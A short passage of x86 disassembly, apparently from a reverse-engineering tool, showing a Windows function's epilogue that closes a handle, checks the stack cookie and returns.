push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 4]
pop edi
pop ebx
xor ecx, ebp
pop esi
call fcn.00544a28
mov esp, ebp
pop ebp
ret